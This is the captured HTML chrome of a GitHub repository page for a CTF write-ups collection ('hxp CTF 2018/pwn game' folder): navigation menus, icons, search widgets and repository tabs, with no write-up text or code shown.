<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="142745576" data-scoped-search-url="/0n3m4ns4rmy/ctf-write-ups/search" data-owner-scoped-search-url="/users/0n3m4ns4rmy/search" data-unscoped-search-url="/search" data-turbo="false" action="/0n3m4ns4rmy/ctf-write-ups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="pww6UWaz+UKRRRTdHdqlKUEhL0zPYoVCHxt6Mfwrblui5UV/LItBhvY9Pa/DUdRxj3jS3Ft1Cnk1AJZRq8j9cw==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> 0n3m4ns4rmy </span> <span>/</span> ctf-write-ups
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>1</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>12</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/0n3m4ns4rmy/ctf-write-ups/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":142745576,"originating_url":"https://github.com/0n3m4ns4rmy/ctf-write-ups/tree/master/hxp%20CTF%202018/pwn%20game","user_id":null}}" data-hydro-click-hmac="0b32ed43709914eacdb3b3080ae4a862ceb4b05f5197d32be2dd9d1e6d855122"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
